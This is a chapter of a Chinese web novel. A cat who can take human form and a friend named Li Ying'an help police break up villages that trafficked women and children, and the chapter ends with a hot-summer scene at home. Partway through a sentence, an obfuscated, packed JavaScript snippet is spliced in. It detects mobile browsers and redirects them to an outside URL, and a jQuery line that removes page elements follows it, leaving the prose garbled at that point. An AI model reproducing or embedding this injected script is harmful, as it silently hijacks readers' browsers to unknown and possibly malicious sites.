出乎意料的,老头突然说了一句:“见的人既然再也等不到了,那你们就走吧。”
我与李应安面面相觑,竟没想到这老头没有喊周边的人帮忙,把我们押进村里面。
李应安傻傻地问道:“……为什么?”
老头淡淡道:“怎么,以为我要把你们全都抓村里?你们不是一直说我是这个也不帮那个也不帮吗?我就是这样,我自己活我自己的,旁人的事情我不会去管一个字,天塌了只要别压着我我也照样活。我看这村子的寿命也要尽了,你们我也就当没看见。”
他说完,把佝偻着的腰再弯一弯,抓起发抖的女人的胳膊,用尽蛮力把她从地上拉起来,在她站直后又推她一把:“回去!”
女人像是得到赦令,拔腿就越跑越远。
既然老头都开口这样说了,我与李应安此番前来就是想确认村中是否是之前的那群人,如今不仅得想要的知答案,还另外获悉其他更重要的事情,再留下也没有意义,万一暴露可就麻烦大了,于是我们转头离开。
“你出去之后是不是跟警察报过警?”
我们还没走出两米,那老头便又问道。
我们背对着他,说也看不清谁脸上的情绪,李应安该是紧张的,他的手捏起拳头又慢慢松开,最后微微偏头,说道:“嗯。”
这声回答让我的心在悄然间悬起来了。
“好奇吗?”
老头简略地说着,但李应安该是猜到了他具体询问的东西,不禁点点头:“嗯。”
“都提前知道信儿,都躲起来啦。”老头把地上的竹筐背在身上,“一方水土养一方人,得到好处就不会把胳膊肘向外拐。”
他说完这句话,就把我们当空气,不再看我们一眼,转身就朝着另一边空地走去。
我望着他老态龙钟的模样,心道怪不得警察没察觉到问题,原来是有人故意庇护。
与此同时,我想到附近的废旧工场,转头与李应安对视,心中便凝结出一个计划。
回去的路上我立即把它讲给李应安听。
既然如此,我们就把废工场场主偷偷贩猫的事情告知警察,得到消息的他们一定会找到李应安。他们一定还记得李应安,到时候李应安再把这边的事情渲染一二,说不定他们在调查工场的同时也会留意这座村庄。
只是为了避免惊动这边的警方,想要绕过去的话,那边的警察就要申请更高层级的公安机关直接介入。可是这样,就必须有充分的证据,光凭李应安和我的一面之词还远远不够,若是有其他东西能证实就好了……
耳边突然传来刚才那个老头的声音,我被这突如其来的鬼动静吓一跳,急忙转头。
甫一与李应安对视,我就忽地笑了,也明白原来他竟是提前把彼此交流录下来了。
如此一来,事情也就好办得多了。
……
今年的夏天不同于往年的热,吹风扇都会觉得燥热,若是想开窗,以高处不胜寒的理由让自然风吹入室内解解暑气,那还是想都不要想,因为外面的风就如同冬季供暖的暖气,不吹还好,吹一会儿就要烫一层皮。
屋内,风扇左右摇摆着头,看起来马上就要累得罢了工,奈何这天儿酷暑难耐,它和家中的冰箱必须要继续老老实实地工作。
今日又是难得的休班,我人模样地趴在脚踩的地板上,感受着冰凉的地板在我身体的接触下逐渐慢慢升温,这时我就会灵活地翻身,去另一面继续降温,等待这边回温后再翻回来,一个动作往复循环,乐此不疲。
李应安看见后会说我在咸鱼翻身,我懒得跟他对峙,实在累了就变回猫,把风扇固定在一个位置上,翻着肚皮躺在前面假寐。
自从李应安知道我原本是一只猫,我便在他面前肆无忌惮地变来变去,当我是猫的时候他会特别照顾,譬如我睡在风扇前,他会给我找张小薄被盖肚皮。
当我变成一个与他年纪相仿的成年人后,他依旧照顾我。因为在他的眼里,我永远都是李又枝,当然这里不代表我只是猫,我与他永远都是朋友。
我利用一个仰卧起坐,把盖在前爪下的被子卷到后腿,然后翻身把它压在身下。
这个鬼天气实在是太热了,即便是风扇吹在眼前也觉得烦躁,我圆滚滚的眼睛因为心情浮躁和睡意渐袭而变得扁起来,看向李应安的眼神既有莫名的委屈,还有不理解的好奇。
为什么李应安看起来一点儿都不热呢?
我蹑手蹑脚地靠近他,趁他不注意攀爬上他的后背,然后挂件似的把肚皮搁置在他的肩膀,身体软得跟毛巾般自然下垂到胸。
李应安在看手机……
他竟然在选出租房!
我撇开头盯着他的脸,他注意到我的目光后同样回头,我们的目光彼此交融一瞬。
“今年的夏天好像很热,”他把手抬起来给我的下巴当垫板,“我打算再重新租一个有空调的房子,那样你住得能舒服些。”
原来是为了我才愿意这样来回折腾的。
我从他的肩膀上跳下,在他的注视下直接变回人形,然后盘下腿与他面对面坐着。
我果断摇摇头:没关系,你不需要为了我这样做,这样热的天持续不了多久,我看过几天就降温了。我们一个月的工资本来就不算太多,你还是省下吧。再说了,这大热天要是搬家具的话,那不得真的中暑了啊!
他还有要对我说的话,房门却在这时被突然敲响,伴随着响亮的声音:“外卖!”
李应安去开门,待他转身时手里捧着一个泡沫箱子,我好奇地仰着头,看着他慢条斯理地把快递拆开,从里面拿出一支雪糕。
“李阑和我说这个口味的雪糕好吃,于是我就从她推荐的店铺里买了几支。”
我看着这雪糕的包装袋,上面印着一只肥硕又呆萌的胖兔子,它坐在桥边钓鱼,被一只鱼戏弄得丢了鱼竿。
看着它瞪大眼的傻样子,我不禁猜测自己吃下这支雪糕之后会不会也会变得如此蠢,一时间竟有些犹豫。
我犹豫不决的样子在李应安看来就是雪糕不符合胃口:“怎么,不喜欢这个吗?”
我提溜着包装袋的封口,指着上面的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16559839|186912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只流氓兔,表示我的意思:它看起来好蠢。
这可把给李应安逗笑了,自从上次从那个村子回来后,他就再也没有这么开心过。
“还没吃就变傻了,”他笑道,“吃掉它只会给你暂时降温,不会降智变蠢的。”
得到他的保证,我才敢放心拆包装袋。
浓郁的奶香味被口腔包裹住,我斜倚在李应安的肩头,望着头顶那未亮的灯发呆。
半个月前,通过李应安的沉重描述与手机录音功能的功劳,警方再次锁定当初调查的地方,并将收集的证据递交给上级,在上级同意介入后,公安部打拐平台又协调警方联合办案,不仅是把仍隐藏在地下室还未售出的猫咪解救出,更是成功把当地参与多年拐卖妇女儿童的大小村庄给翻了个底朝天。
除此之外,由于上次的调查未果,如今证据在前,那边的警察确实被发现存在包庇当地罪犯的行为。这是严重渎职行为,从这一刻起,他们便不再是警察,而是共犯,他们应当受到法律处罚。
而这次处罚不单单是脱下外衣这样简单,由于涉及的时间长,人数多,犯罪分子长期逍遥法外导致被害人精神与身体的消亡,情节判定为严重,均追究刑事责任,或坐牢十年以下,或三年以上。
村庄里的人更是吃不了兜着走,他们犯罪程度足以令人拍案而起。
所以此事经法院判决,情节较轻者依法处以罚款或有期徒刑,情节严重者给予无期徒刑或死刑,而两村的村长皆被处以死刑,且要求立即执行。
如此,村里的女人们便解放了,其中她们没疯的还能在警方的协助下找到家人,而疯了的则需要家人认领,或是送往当地的精神病院治疗。
但不幸的是,没疯的人几乎没几个,倒是疯了的,哭着喊着不要离开……
她们真的太害怕了,害怕被换到另一个地方遭受虐待,所以她们宁死也不愿离开。
而隋语声的母亲,那个疯女人,她就是其中一个,她口口声声说要在这里等着她的儿子回家找她,殊不知她已经忘记了,这里根本就不是她的家,她真正的家或许在一个不起眼的小城镇,又或者是大城市,总之绝不会是这个又肮脏又罪恶又没人性的地方。
至今,我从来没有告诉过隋语声已经找着他的生身母亲,以隋语声上次面对宋老头的态度来看,他对生育他的家人似乎没有了感情,或许是曾经被卖过的缘故,让他对他们失望透顶,以至于不愿再与他们扯关系。
可是隋语声曾经被卖到哪里去了,又为什么转眼间会被送去福利院?如果隋语声真的是因为被卖的原因而与有着亲缘关系的家人冷漠,那么他也一定记得曾经被谁买走。
时至今日,警方已确定两座村庄里存在拐卖妇女儿童的事实,不过他们还在调查与他们有对接的买方有谁,这点还仍未突破。
回想着新闻里总是时不时播放着,我咂咂嘴里的甜,天马行空地想象,或许可以通过文良熙来打探一下,好为警方提供线索。
至于为什么不是直接去问隋语声,想想那人冷漠的臭脸,我立马打消了这个念头。